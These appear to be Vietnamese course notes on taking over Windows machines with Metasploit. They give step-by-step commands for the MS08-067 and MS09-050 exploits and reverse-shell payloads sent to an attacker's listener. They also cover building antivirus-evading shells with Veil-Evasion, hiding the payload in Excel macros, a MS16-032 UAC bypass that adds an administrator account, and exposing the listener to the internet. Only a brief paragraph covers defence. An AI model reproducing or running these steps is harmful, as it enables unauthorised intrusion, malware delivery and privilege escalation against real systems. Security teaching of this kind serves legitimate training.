System Hacking-PART2: Tấn công chiếm quyền sở hữu hệ thống và cách phòng chống

GV: Trịnh Ngọc Hưng

Nội dung:

- Metasploit Framework
- Update Metasploit
- Sửa lỗi Armitage kali 2016
- Demo tấn công: Lỗ hổng bảo mật trên Windows, Reverse Shell Bybass AV
- Cách phòng chống

I. Metasploit Framework

Giới thiệu

Metasploit Framework là một môi trường dùng để kiểm tra ,tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python.Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Bạn có thể download chương trình tại www.metasploit.com

Metasploit có thể tự động update bắt đầu từ version 2.2 trở đi, sử dụng script msfupdate.bat trong thư mục cài đặt

2)Các thành phần của Metasploit

Metasploit hỗ trợ nhiều giao diện với người dùng:

-**console interface**: dùng msfconsole.bat. Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn

-**Web interface**: dùng msfweb.bat, giao tiếp với người dùng thông qua giao diện web

-**Command line interface**: dùng msfcli.bat

Enviroment

Global Enviroment:được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits

Temporary Enviroment: được thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác

Bạn có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu trong /.msf/config và sẽ được load trở lại khi user interface được thực hiện

Những options nào mà chung giữa các exploits module như là: LPORT, LHOST, PAYLOAD thì bạn nên được xác định ở Global Enviroment

vd: msf> setg LPORT 80

msf> setg LHOST 172.16.8.2

3)Sử dụng Metasploit framework

1. Chọn module exploit: lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác

show exploits: xem các module exploit mà framework có hỗ trợ

use exploit_name: chọn module exploit

info exploit_name: xem thông tin về module exploit

Bạn nên cập nhật thường xuyên các lỗi dịch vụ trên www.metasploit.com hoặc qua script msfupdate.bat

2. Cấu hình module exploit đã chọn

show options: Xác định những options nào cần cấu hình

set : cấu hình cho những option của module đó

Một vài module còn có những advanced options, bạn có thể xem bằng cách gõ dòng lệnh **show advanceds**

3. Verify những options vừa cấu hình:

check: kiểm tra xem những option đã được set chính xác chưa.

4. Lựa chọn target: lựa chọn hệ diều hành nào để thực hiện

show targets: những target được cung cấp bởi module đó

set: xác định target nào

vd: smf> use windows_ssl_pct

show targets

exploit sẽ liệt kê ra những target như: winxp, winxp SP1, win2000, win2000 SP1

5. Lựa chọn payload

payload là đoạn code mà sẽ chạy trên hệ thống remote machine

show payloads: liệt kê ra những payload của module exploit hiện tại

info payload_name: xem thông tin chi tiết về payload đó

set PAYLOAD payload_name: xác định payload module name.Sau khi lựa chọn payload nào, dùng lệnh show options để xem những options của payload đó

show advanced: xem những advanced options của payload đó

6.Thực thi exploit

exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn những thông tin về hệ thống được khai thác

4.Giới thiệu payload meterpreter

Meterpreter, viết tắt từ Meta-Interpreter là một advanced payload có trong Metasploit framework. Muc đích của nó là để cung cấp những tập lệnh để khai

thác, tấn câng các máy remote computers. Nó được viết từ các developers dưới dạng shared object(DLL) files. Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ, hoàn toàn không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống virus

Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote computers

Fs: cho phép upload và download files từ các remote machine

Net: cho phép xem thông tin mạng của remote machine như IP, route table

Process:cho phép tạo các processes mới trên remote machine

Sys: cho phép xem thông tin hệ thống của remote machine

Sử dụng câu lệnh

u**se -m module1,module2,module3 [-p path] [-d]**

Câu lệnh use dùng để load những module mở rộng của meterpreter như: Fs, Net, Process..

loadlib -f library [-t target] [-lde]

Câu lệnh cho phép load các thư viện của remote machines

read channel_id [length]

Lệnh read cho phép xem dữ liêu của remote machine trên channel đang kết nối

write channel_id

Lệnh write cho phép ghi dữ liệu lên remote machine

close channel_id

Đóng channel mà đã kết nối với remote computer

interact channel_id

Bắt đầu một phiên làm việc với channel vừa thiết lập với remote machine

initcrypt cipher [parameters]

Mã hoá dữ liệu được gửi giữa host và remote machine

Sử dụng module Fs: cho phép upload và download files từ các remote machine

cd directory

giống lệnh cd của commandline

getcwd

cho biết thư mục đang làm việc hiện tại

ls [filter_string]

liệt kê các thư mục và tập tin

upload src1 [src2 ...] dst

upload file

download src1 [src2 ...] dst

download file

Sử dụng module Net:

ipconfig

route

xem bảng định tuyến của remote machine

portfwd [-arv] [-L laddr] [-l lport] [-h rhost] [-p rport] [-P]

cho phép tạo port forward giữa host và remote machine

Sử dụng module Process:

execute -f file [-a args] [-Hc]

câu lệnh execute cho phép bạn tạo ra một process mới trên remote machine và sử dụng process đó để khai thác dữ liệu

kill pid1 pid2 pid3

huỷ những processes đang chạy trên máy remote machine

ps

liệt kê những process của remote machine

Sử dụng module Sys:

getuid

cho biết username hiện tại của remote machine

sysinfo

cho biết thông tin về computername, OS

Hướng dẫn update Metasploit

msfupdate

sau đó chạy msfconsole bị lỗi

Could not find rake-11.2.2 in any of the sources

Run `bundle install` to install missing gems.

Sửa lỗi:

cd /usr/share/metasploit-framework/

apt-get install ruby-rails*

sau đó: bundle install

Hướng dẫn sửa lỗi armitage

II. DEMO:

Dùng Metasploit để tấn công chiếm quyền sở hữu máy Victim.

<u>Kiểu 1</u>: Tấn công 1 máy cụ thể bị 1 lỗ hổng cụ thể trên HĐH, trên dịch vụ hay ứng dụng trên HĐH đó. Kiểu này chỉ tấn công trong LAN, vì đây là kiểu thực hiện tạo kết nối từ máy HK đi ra Victim nên IP của Vic phải là IP private. Một vài trường hợp IP wan cũng được nhưng là hy hữu.

Với kiểu tấn công này thì phải biết chính xác IP của Victim. Các Options cần set:

Msfconsole

Search "mã lỗ hổng" →*để tìm đường dẫn code tấn công*

Use "đường dẫn tới code tấn công vừa search được"

Set PAYLOAD windows/meterpreter/reverse_tcp →*tấn công chiếm Win luôn set option này*

Set LHOST "IP Kali"

Set RHOST "IP Victim" → *phải biết IP Victim*

Set LPORT "Local port muốn set" → *Port trên kali để thực hiện kết nối*

Option RPORT được sét sẵn do lỗi giao thức nào thì tấn công trên port giao thức đó.

Vậy với các options trên đã đủ để thực hiện 1 kết nối tới Victim (chú ý: đây là kết nối từ máy Hacker đến máy victim chính vì thế phải set RHOST)

<u>VD: tấn công Ms08_067; Ms09_050 (SMB)</u>

Tấn công Windows Server 2003

MS 08_067

Msfconsole

msf > search ms08_067

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set LHOST 192.168.73.100

msf exploit(ms08_067_netapi) > set RHOST “IP Victim”

msf exploit(ms08_067_netapi) > exploit

Tấn công máy Windows Server 2008

Lỗ hổng Ms09_050

Msfconsole

msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

msf exploit(ms09_050_smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_tcp

> set LHOST 192.168.73.100

> set RHOST 192.168.73…

> exploit

Kiểu 2: Reverse Connection-Tấn công được qua mạng internet

Với kiểu tấn công này thì Victim sẽ tự tạo 1 kết nối về Hacker (bị động-Hacker phải chờ Victim làm 1 điều gì đó trên máy của họ để kích hoạt kết nối về Hacker). Vậy nên ko cần biết IP của Victim và ko quan tâm đến Firewall trên Victim có on hay off vì đây là kết nối từ Victim đi ra, mà firewall chặn chiều in. Và cũng có thể bypass được hệ thống Firewall biên khi mở port 80, 443 vì Hacker hoàn toàn chủ động định nghĩa Port trên máy Hacker để cho Victim thực hiện reverse connect.

Các options cần set:

Use exploit/multi/handler → với kiểu reverse shell thì luôn luôn set như thế này

Set PAYLOAD windows/meterpreter/reverse_tcp

Set LHOST “IP của Hacker”

Set LPORT “port mà HK định nghĩ trong reverse shell” → nếu ko set thì default 4444

Exploit

Và đợi…..

VD:

Tạo shell tấn công windows 2012R2:

Shell thường: **msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe**

Shellhungtn-có mã hóa;

Veil-Evasion tạo shell và tạo Macro inject office

1. Down Veil
git clone https://github.com/Veil-Framework/Veil-Evasion.git
2. Nếu cài bình thường (cd ..Veil-Evasion/setup; ./setup.sh) thì lỗi
Nên update cho apt:
- Apt-get update
- Vào file /etc/apt/source.list thêm các dòng
deb http://ftp.us.debian.org/debian/ wheezy main contrib non-free
deb-src http://ftp.us.debian.org/debian/ wheezy main contrib non-free
- apt-get install -f
3. ./setup.sh -s
Sau khi cài xong chọn các option như sau:
./Veil-Evation.py
Chọn:
Use
34
Set LHOST “ip Hacker”
Set USE_PYRION Y
Genaration
Tên abc
Chọn 1

4. Veil kết hợp Macro
Dùng macroShop: https://github.com/khr0x40sh/MacroShop

Cấu hình:
#Veil-evasion
Chọn No
Lệnh: use
Chọn 21 : powershell…..
Set LHOST 192.168.73.100
Generate
Nhập tên backdoor
Vào đường dẫn: /var/lib/veil-evasion/output/source/tên.bat

```
Cấu hình Macro:
Cd MacroShop-master
./macro_safe.py /usr/share/veil-output/source/aaa.bat tên.txt
Mở file tên.txt copy nội dung vào macro của excel và save lại với kiểu
Excel Macro-Enabled Workbook

Mở metasploit
Use exploit/multi/handler
Set PAYLOAD windows/meterpreter/revese_https
Set LHOST 192.168.73.100
LPORT mạc định là 8443
Exploit
```

Tấn công Windows7: Lỗ hổng trên IE ms10_046

Kịch bản: làm thế nào để cứ khi Win7 truy cập facebook bằng IE thì sẽ bị chiếm quyền.

Cấu hình DNS spoof: tạo và bơm bản ghi giả vào DNS server

Sử dụng Metasploit để khai thác và tấn công

Lỗ hổng Ms15_020

Dùng Metasploit để DOS: Lỗ hổng Ms12_020; Lỗ hổng MS15_034

Ms12_020 (Server 2008)

Ms15_034 (Server 2012R2)

Lỗ hổng Ms16_032 (Nghiêm trọng) Bypass UAC

B1. Down script https://www.exploit-db.com/exploits/39719/

B2. Copy Script vào máy cần Bypass UAC

B3. Dùng PS: cd tới đường dẫn chứa script

Dùng lệnh: import-module .\39719.ps1

B4: invoke-ms16-032

Bật ra CMD đã bypass UAC

Dùng lệnh CMD để nâng quyền user→administrators

Net localgroup administrators “username” /add

Đổi pass:

Net user “username” “New pass”

Tạo user:

Net user “username” “pass” /add

Cách phòng chống

Thường xuyên cập nhật các bản vá lỗi của Microsofts. Ví dụ như để Metasploit không thể khai thác được lỗi Lsass_ms04_011, bạn phải cập nhật bản vá lỗi của Microsoft. Theo Microsoft đánh giá, đây là một lỗi nghiêm trọng, có trên hầu hết tất cả các hệ điều hành windows. Bạn nên sử dụng hotfix có number là 835732 để vá lỗi trên.

Setup hệ thống tấn công qua mạng internet

- NAT trên Modem: port 4444 ----- IP của kali
- Tạo Reverse shell: LHOST “IP public trên Modem”

  LPORT 4444

- Mở tấn công trên Kali:

  Use exploit/multi/handler

  Set PAYLOAD windows/meterpreter/reverse_tcp

  Set LHOST “IP LAN Kali”

  Exploit